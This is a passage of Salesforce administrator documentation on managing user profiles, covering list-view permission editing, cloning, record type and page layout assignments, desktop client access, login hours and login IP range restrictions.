If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the setting is not actually editable. Warning: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making mass changes may have a widespread effect on users in your organization. To change permissions in one or more profiles: 1. Select or create a list view that includes the profiles and permissions you want to edit. 2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages, Salesforce remembers which profiles are selected. 3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected profiles. 4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if Customize Application and View Setup and Configuration are disabled and you enable Customize Application, then View Setup and Configuration is also enabled. In this case, the dialog box lists the affected permissions. 5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected). 6. Click Save.

532

User Management

User Profiles Overview

Note: For standard profiles, inline editing is available only for the Single Sign-On and Affected By Divisions permissions. If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you use inline editing to add Modify All Data to multiple profiles, but because of its user license the profile doesn't have Modify All Data, the profile won't change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text. Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview Reminder Alert. Any changes you make are recorded in the setup audit trail.

See Also:
Viewing Profile Lists

Cloning Profiles
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create profiles: Manage Users

Tip: If youre cloning a profile to enable certain permissions or access settings for one or more users, you might be able to enable those permissions or access settings using permission sets. For more information, see Permission Sets Overview. 1. Click Your Name > Setup > Manage Users > Profiles. 2. In the Profiles list page, do one of the following: Click New Profile, then select an existing profile thats similar to the one you want to create. If enhanced profile list views are enabled, click Clone next to a profile thats similar to the one you want to create. Click the name of a profile thats similar to the one you want to create, then in the profile page, click Clone.

A new profile uses the same user license as the profile it was cloned from. 3. Enter a profile name.

533

User Management

User Profiles Overview

4. Click Save.

See Also:
User Profiles Overview

Viewing a Profile's Assigned Users


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users that are assigned to a profile: To create and edit users: View Setup and Configuration Manage Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can: Create one or multiple users Reset passwords for selected users Edit a user View a user's detail page by clicking the name, alias, or username View or edit a profile by clicking the profile name Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization)

See Also:
User Profiles Overview

Enhanced Profile User Interface Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The enhanced profile user interface provides a streamlined experience for managing profiles. With it, you can easily navigate, search, and modify settings for a profile. You can enable the enhanced profile user interface in the User Interface settings page. Your organization can only use one profile user interface at a time.

534

User Management

User Profiles Overview

Note: You can't use the enhanced profile user interface if: You use Microsoft Internet Explorer 6 or earlier to manage your profiles (unless you've installed the Google Chrome Frame plug-in for Internet Explorer). Your organization uses category groups on guest profiles used for sites. Your organization delegates partner portal administration to portal users.

See Also:
Working in the Enhanced Profile User Interface Overview Page App and System Settings in the Enhanced Profile User Interface User Profiles Overview

Working in the Enhanced Profile User Interface Overview Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Assigned apps, standard objects, tabs, and Visualforce are not available in Database.com

User Permissions Needed To view profiles: To delete profiles and edit profile properties: View Setup and Configuration Manage Users

In the enhanced profile user interface, the profile overview page provides an entry point for all of the settings and permissions for a single profile. To open the profile overview page, click Your Name > Setup > Manage Users > Profiles and click the profile you want to view. From the profile overview page, you can: Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties View a list of users who are assigned to the profile Click any of the following links to view or edit permissions and settings: Assigned Apps Object Settings (tab settings, record types and page layout settings, object permissions, and field permissions) App Permissions Apex Class Access Visualforce Page Access Data Category Visibility (if you've enabled data categories) System Permissions

535

User Management

User Profiles Overview

Desktop Client Access Login Hours Login IP Ranges Service Providers (if Salesforce is enabled as an identity provider)

See Also:
App and System Settings in the Enhanced Profile User Interface Enhanced Profile User Interface Overview

App and System Settings in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Database.com Edition doesn't include assigned apps, tabs, record types, page layouts, Visualforce, and desktop clients

In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile. Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to administer and use app and system resources. App Settings Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members. In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the business processes that the apps enable. For example, customer service agents may need to manage cases, so the Manage Cases permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains links to these pages: Assigned Apps Object Settings, which include: Tab settings Record types and page layout settings Object permissions Field permissions

App Permissions Apex Class Access Visualforce Page Access

536

User Management

User Profiles Overview

Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the Import Leads permission is under the Sales category, a user can import leads even while in the Call Center app.

System Settings Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user's ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the Run Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some cases, such as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader. In the enhanced profile user interface, the System section of the overview page contains links to these pages: System Permissions Desktop Client Access Login Hours Login IP Ranges Service Providers (if Salesforce is enabled as an identity provider)

See Also:
Enhanced Profile User Interface Overview

Searching in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions The following items don't appear in searches when using the enhanced profile user interface with Database.com: standard objects, assigned apps, tabs, Visualforce page access settings, and desktop client access settings.

User Permissions Needed To find permissions and settings in a profile: View Setup and Configuration

On any of the profile pages, type at least three consecutive letters of an object, tab, permission, or setting name in the Find Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page. You can search for: Item Assigned apps Objects Example Type sales in the Find Settings box, then select Sales from the list. Type an existing objects name. For example, lets say you have an Albums custom object, type albu, then select Albums.

537

User Management

User Profiles Overview

Item Fields

Example Type the name of the object that contains the field. For example, lets say your Albums object contains a Description field. To find the Description field for albums, type albu, select Albums, and scroll down to Description under Field Permissions. Type rep, then select Reports. Type apex, then select Apex Class Access. Type VISU, then select Visualforce Page Access. Type api, then select API Enabled. Type des, then select Desktop Client Access. Type log, then select Login Hours or Login IP Ranges. Or type ip r, then select Login IP Ranges.

Tabs Apex class access settings Visualforce page access settings App and system permissions Desktop client access settings Login hours and login IP ranges

Service providers (available only if Salesforce is enabled as an identity provider)

Type serv, then select Service Providers.

If no results appear in a search: The permission, object, tab, or setting you're searching for may not be available in the current organization. The item you're searching for may not be available for the user license that's associated with the current profile. For example, a profile with the High Volume Customer Portal license doesn't include the Modify All Data permission. Be sure your search terms have at least three consecutive characters that match the name of the item you want to find. Be sure the search term is spelled correctly.

Working with Assigned Apps in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assigned app settings: To edit assigned app settings: View Setup and Configuration Manage Users

In the enhanced profile user interface, the Assigned Apps page shows which apps are visible to users with the selected profile. The default app appears when users log in for the first time. Every profile must have at least one visible app, except for profiles associated with Customer Portal users because apps are not available to them. On the Assigned Apps page in the enhanced profile user interface, you can: Change the assigned apps Search for an object, permission, or setting Clone the profile

538

User Management

User Profiles Overview

If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Assigned Apps link and selecting the page you want

See Also:
Working in the Enhanced Profile User Interface Overview Page

Working with Object Settings in the Enhanced Profile User Interface


In the enhanced profile user interface, the Object Settings page shows tab settings, record types and page layout settings, object permissions, and field permissions for all objects and tabs in your organization. Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tabs, record types, and page layouts are not available in Database.com

User Permissions Needed To view object settings: View Setup and Configuration

On the Object Settings pages in the enhanced profile user interface, you can: View or edit: Tab settings Record types and page layout assignments Object permissions Field permissions for an object

Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Object Settings name and selecting the page you want If you're in an object or tab page, switch to a different object or tab page by clicking the down arrow next to the object or tab name and selecting the object or tab you want

See Also:
Working in the Enhanced Profile User Interface Overview Page

539

User Management

User Profiles Overview

Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit object permissions and settings: Manage Users AND Customize Application

In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and page layout assignment mappings that are used when users view records. They also determine which record types are available when users create or edit records. To specify record types and page layout assignments: 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit. In the Record Types and Page Layout Assignments section, make changes to the settings as needed. Setting Record Types Description Lists all existing record types for the object.
--Master-- is a system-generated record type that's used when a record has no custom record type associated with it. When --Master-- is assigned, users

can't set a record type to a record, such as during record creation. All other record types are custom record types. Page Layout Assignment The page layout to use for each record type. The page layout determines the buttons, fields, related lists, and other elements that users with this profile see when creating records with the associated record type. Since all users can access all record types, every record type must have a page layout assignment, even if the record type isn't specified as an assigned record type in the profile. Record types that are checked in this column are available when users with this profile create records for the object. If --Master-- is selected, you can't select any custom record types; and if any custom record types are selected, you can't select --Master--. The default record type to use when users with this profile create records for the object.

Assigned Record Types

Default Record Type

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.

540

User Management

User Profiles Overview

Object or Tab Accounts

Variation If your organization uses person accounts, the accounts object additionally includes Business Account Default Record Type and Person Account Default Record Type settings, which specify the default record type to use when the profile's users create business or person account records from converted leads. The cases object additionally includes Case Close settings, which show the page layout assignments to use for each record type on closed cases. That is, the same record type may have different page layouts for open and closed cases. With this additional setting, when users close a case, the case may have a different page layout that exposes how it was closed. You can't specify custom record types for the home tab. You can only select a page layout assignment for the --Master-- record type.

Cases

Home

6. Click Save.

See Also:
Managing Record Types Managing Page Layouts

Working with App Permissions in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view app permissions: To edit app permissions: View Setup and Configuration Manage Users

App permissions control what users can do within an app. For example, The Import Leads permission allows users to import leads in a sales app, while Manage Cases allows users to manage cases in a call center app. On the App Permissions page in the enhanced profile user interface, you can: Change the app permissions by clicking Edit Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately apparent. For example, enabling the Transfer Leads app permission automatically enables the Read and Create object permissions for leads. Search for an object, permission, or setting Clone the profile

541

User Management

User Profiles Overview

If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the App Permissions name and selecting the page you want

See Also:
User Permissions Working in the Enhanced Profile User Interface Overview Page

Working with Apex Class Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view Apex class access settings: To edit Apex class access settings: View Setup and Configuration Manage Users

On the Apex Class Access page in the enhanced profile user interface, you can: Change the Apex class access settings Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Apex Class Access name and selecting the page you want

See Also:
Apex Class Security Overview Apex Code Overview Working in the Enhanced Profile User Interface Overview Page

542

User Management

User Profiles Overview

Working with Visualforce Page Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view Visualforce page access settings: To edit Visualforce page access settings: View Setup and Configuration Manage Users

On the Visualforce Page Access page in the enhanced profile user interface, you can: Change the Visualforce page access settings Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Visualforce Page Access name and selecting the page you want

See Also:
Visualforce Page Security Overview Visualforce Overview Working in the Enhanced Profile User Interface Overview Page

Working with System Permissions in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view system permissions: To edit system permissions: View Setup and Configuration Manage Users

System permissions control users' ability to perform tasks that apply to all appssuch as Modify All Dataor tasks that don't apply to any appssuch as API Only User. On the System Permissions page in the enhanced profile user interface, you can: Change the system permissions by clicking Edit

543

User Management

User Profiles Overview

Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately apparent. For example, enabling the View All Data system permission automatically enables the Read object permission for all objects. Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the System Permissions name and selecting the page you want

See Also:
User Permissions Working in the Enhanced Profile User Interface Overview Page

Working with Desktop Client Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view desktop client access settings: To edit desktop client access settings: View Setup and Configuration Manage Users

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. Note: To access desktop clients, users must also have the API Enabled permission.

On the Desktop Client Access page in the enhanced profile user interface, you can: Change the desktop client access settings by clicking Edit Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview

544

User Management

User Profiles Overview

Switch to a different settings page by clicking the down arrow next to the Desktop Client Access name and selecting the page you want

See Also:
Desktop Client Access Overview Working in the Enhanced Profile User Interface Overview Page

Working with Login Hours in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login hour settings: View Setup and Configuration

On the Login Hours page in the enhanced profile user interface, you can: View and edit the hours when users can log in Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Login Hours name and selecting the page you want

See Also:
Setting Login Restrictions Working in the Enhanced Profile User Interface Overview Page

Viewing and Editing Login Hours in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login hour settings: To edit login hour settings: View Setup and Configuration Manage Users

For each profile, you can specify the hours when users can log in.

545

User Management

User Profiles Overview

1. 2. 3. 4. 5.

Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the profile overview page, click Login Hours. To change the login hours, click Edit. Set the days and hours when users with this profile can log in to the organization. To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set the start and end times to the same value. If users are logged in when their login hours end, they can continue to view their current page, but they cant take any further action. Note: The first time login hours are set for a profile, the hours are based on the organizations Default Time Zone as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the organizations Default Time Zone wont change the time zone for the profiles login hours. As a result, the login hours are always applied at those exact times even if a user is in a different time zone or if the organizations default time zone is changed. Depending on whether youre viewing or editing login hours, the hours may appear differently. On the Login Hours detail page, hours are shown in your specified time zone. On the Login Hours Edit page, they appear in the organizations original default time zone.

Working with Login IP Ranges in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login IP ranges: View Setup and Configuration

For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. On the IP Ranges page in the enhanced profile user interface, you can: Edit or delete login IP address ranges Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview

546

User Management

User Profiles Overview

Switch to a different settings page by clicking the down arrow next to the Login IP Ranges name and selecting the page you want

See Also:
Restricting Login IP Ranges for Your Organization Setting Login Restrictions Working in the Enhanced Profile User Interface Overview Page

Restricting Login IP Ranges in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view login IP ranges: To edit login IP ranges: To delete login IP ranges: View Setup and Configuration Manage Users Modify All Data

You can control login access on a users profile by specifying a range of IP addresses. When you define IP address restrictions for a profile, any login from a restricted IP address is denied. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the profile overview page, click Login IP Ranges. Use any of these methods to change login IP address ranges for the profile. If you want to add ranges, click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. If you want to edit or remove ranges, click Edit or Delete for that range.

Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations for the Spring '12 release. Important: Partner User profiles are limited to 5 IP addresses. If you want to increase this limit, contact salesforce.com. Salesforce Mobile and Mobile Lite can bypass IP range definitions set up for profiles. The mobile applications initiate a secure connection to Salesforce over the mobile carriers network, but the mobile carriers IP addresses might be outside of the IP ranges allowed on the users profile. To prevent bypassing IP definitions set on a

547

User Management

User Profiles Overview

users profile, you must disable the Salesforce Mobile and Mobile Lite permissions. To disable mobile permissions, see Managing Mobile Permissions.

See Also:
Restricting Login IP Ranges for Your Organization Setting Login Restrictions Setting Session Security Administrator setup guide: Security Implementation Guide

Working with Service Provider Settings in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view service provider settings: To edit service provider settings: View Setup and Configuration Manage Users AND Customize Application

An identity provider is a trusted provider that enables users to use single sign-on to access other websites. A service provider is a website that hosts applications. If you have enabled Salesforce as an identity provider and defined one or more service providers, you can enable access to certain service providers for individual profiles. On the Service Providers page in the enhanced profile user interface, you can: Change the service provider settings by clicking Edit Search for an object, permission, or setting Clone the profile If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete Change the profile name or description by clicking Edit Properties Go to the profile overview page by clicking Profile Overview Switch to a different settings page by clicking the down arrow next to the Service Providers name and selecting the page you want

See Also:
About Identity Providers and Service Providers Working in the Enhanced Profile User Interface Overview Page

548

User Management

User Profiles Overview

Working with Profiles in the Original Profile Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions The settings that are available on the profile detail page vary according to your Edition.

To view a profile, click Your Name > Setup > Manage Users > Profiles, then select the profile you want. On the profile detail page, you can: Edit the profile Create a profile based on this profile For custom profiles only, click Delete to delete the profile View the users who are assigned to this profile

See Also:
User Profiles Overview Viewing and Managing Users Overview of User Permissions and Access

Editing Profiles in the Original Profile Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit profiles: Manage Users AND Customize Application

You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name, description, object permissions, field permissions, and user permissions. 1. Click Your Name > Setup > Manage Users > Profiles. 2. Select the profile you want to edit. 3. On the profile detail page, click Edit to change any of the following settings: For custom profiles only, the name and description App visibility settings Tab visibility settings For custom profiles only, administrative and general permissions For custom profiles only, object permissions

549

User Management

User Profiles Overview

Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For example, enabling View All Data automatically enables Read for all objects. Likewise, enabling Transfer Leads automatically enables Read and Create on leads. Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple profiles from the list view. Desktop client access settings

You can also view or edit the following settings from the profile detail page: Setting Console layouts for all profiles Page layouts Access to fields in each object Record types Procedure to View or Edit Under the Console Settings section, click Edit. Under the Page Layouts section, click View Assignment next to an object name. Under the Field-Level Security section, click View next to an object name. Under the Record Type Settings section, click Edit next to a tab name. The Edit link is available only if record types exist for the object. Under the Login Hours section, click Edit. Under the Login IP Ranges section, click New, or click Edit next to an existing IP range. Under the Enabled Apex Class Access section, click Edit. Under the Enabled Visualforce Page Access section, click Edit.

Login hours Login IP address ranges Executable Apex classes Executable Visualforce pages

Assigning Record Types to Profiles in the Original Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign record types to profiles: Customize Application

After creating record types and including picklist values in them, add record types to user profiles and assign a default record type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records they create or edit.

550

User Management

User Profiles Overview

Note: Any user can view records having any record type, even if the record type is not associated with their profile.

A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and software sales can have both Hardware and Software record types available when creating opportunities if both record types have been added to the users profile. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles. Select a profile. The record types available for that profile are listed in the Record Type Settings section. Click Edit next to the appropriate type of record. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available to users with that profile. Master is a system-generated record type that's used when a record has no custom record type associated with it. When Master is assigned, users can't set a record type to a record, such as during record creation. All other record types are custom record types. 5. From the Default drop-down list, choose a default record type. If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of the accounts home page. 6. If your organization uses person accounts, set additional options for the default record types for both person accounts and business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting leads. From the Business Account Default Record Type drop-down list, choose a default record type for business accounts. From the Person Account Default Record Type, choose a default record type for person accounts.

7. Click Save. Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and default value for the master are available in all accounts. Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that section is an alternative way of opening the page where you set record type defaults for accounts. For more information, see What is a Person Account? on page 68.

See Also:
Managing Record Types Setting Record Type Preferences

551

User Management

User Profiles Overview

Assigning Page Layouts in the Original Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign page layouts: Manage Users

1. 2. 3. 4. 5.

Click Your Name > Setup > Manage Users > Profiles. Select a profile. Click View Assignment next to any tab name in the Page Layouts section. Click Edit Assignment. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type. When selecting page layout assignments: Click a cell, column, or row heading to select all the table cells in that column or row. Press SHIFT+click to select multiple adjacent table cells, columns, or rows. Press CTRL+click to select multiple nonadjacent table cells, columns, or rows. Click any cell and drag to select a range of cells. Click Next or Prev to view another set of record types.

Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your changes. 6. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous step for the new page layout. 7. Click Save.

See Also:
Assigning Page Layouts

Desktop Client Access Overview


Available in: Enterprise, Unlimited, and Developer Editions

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. To set permissions for Salesforce for Outlook, use the Manage Email Client Configurations permission. In Enterprise, Unlimited, and Developer Editions, you can set users' access to desktop client by editing their profiles. Use the method for the profile user interface you have enabled.

552

User Management

User Profiles Overview

Set desktop client access in the enhanced profile user interface Set desktop client access in the original profile user interface

The desktop client access options are: Option Off (access denied) On, no updates Meaning The respective client download page at Your Name > Setup > Desktop Integration is hidden. Also, users can't log in from the client. The respective client download page at Your Name > Setup > Desktop Integration is hidden. Users can log in from the client but can't upgrade it from their current version. Users can download, log in from, and upgrade the client, but don't see alerts when a new version is made available. Users can download, log in from, and upgrade the client. They can see update alerts, and can follow or ignore them. Users can download, log in from, and upgrade the client. When a new version is available, they can see an update alert. They can't log in from the client until they have upgraded it.

On, updates w/o alerts On, updates w/alerts On, must update w/alerts

Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users have the system default On, updates w/o alerts for all clients. Note: Desktop client access is available only for users whose profiles have the API Enabled permission. If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their profile setting is Off (access denied) or On, must update w/alerts, the error Invalid Salesforce API request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook 2.0 or later will see an appropriate descriptive message.

If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run installer files. Users can also click Your Name > Setup > Desktop Integration > Check for Updates, regardless of whether an alert has occurred.

See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients Force.com Connect for Microsoft Outlook Overview Force.com Connect Offline Overview Force.com Connect for Microsoft Office Overview Force.com Connect for Lotus Notes Overview

553

User Management

User Profiles Overview

Viewing and Editing Desktop Client Access in the Original Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view desktop client access settings: To edit desktop client access settings: View Setup and Configuration Manage Users

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available. Note: To access desktop clients, users must also have the API Enabled permission.

1. Click Your Name > Setup > Manage Users > Profiles. 2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.

See Also:
Desktop Client Access Overview

Viewing and Editing Login Hours in the Original Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set login hours: Manage Users

For each profile, you can specify the hours when users can log in. 1. Click Your Name > Setup > Manage Users > Profiles, and select a profile. 2. Click Edit in the Login Hours related list. 3. Set the days and hours when users with this profile can use the system. To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set the start and end times to the same value. If users are logged in when their login hours end, they can continue to view their current page, but they cant take any further action. 4. Click Save.

554

User Management

User Profiles Overview

Note: The first time login hours are set for a profile, the hours are based on the organizations Default Time Zone as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the organizations Default Time Zone wont change the time zone for the profiles login hours. As a result, the login hours are always applied at those exact times even if a user is in a different time zone or if the organizations default time zone is changed. Depending on whether you're viewing or editing login hours, the hours may appear differently. On the profile detail page, hours are shown in your specified time zone. On the Login Hours edit page, they appear in the organization's default time zone.

See Also:
Setting Login Restrictions Administrator setup guide: Security Implementation Guide

Restricting Login IP Addresses in the Original Profile User Interface


Available in: All Editions

User Permissions Needed To view login IP ranges: To edit login IP ranges: To delete login IP ranges: View Setup and Configuration Manage Users Modify All Data

You can control login access on a users profile by specifying a range of IP addresses. When you define IP address restrictions for a profile, any login from a restricted IP address is denied. 1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition: If youre using Enterprise, Unlimited, or Developer editions, click Your Name > Setup > Manage Users > Profiles, and select a profile. If youre using Professional, Group, or Personal editions, click Your Name > Setup > Security Controls > Session Settings.

2. Click New in the Login IP Ranges related list. 3. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. Partner User profiles are limited to 5 IP addresses. If you want to increase this limit, contact salesforce.com. Salesforce Mobile and Mobile Lite can bypass IP range definitions set up for profiles. The mobile applications initiate a secure connection to Salesforce over the mobile carriers network, but the mobile carriers IP addresses might be outside of the IP ranges allowed on the users profile. To prevent bypassing IP definitions set on a users profile, you

555

User Management

User Profiles Overview

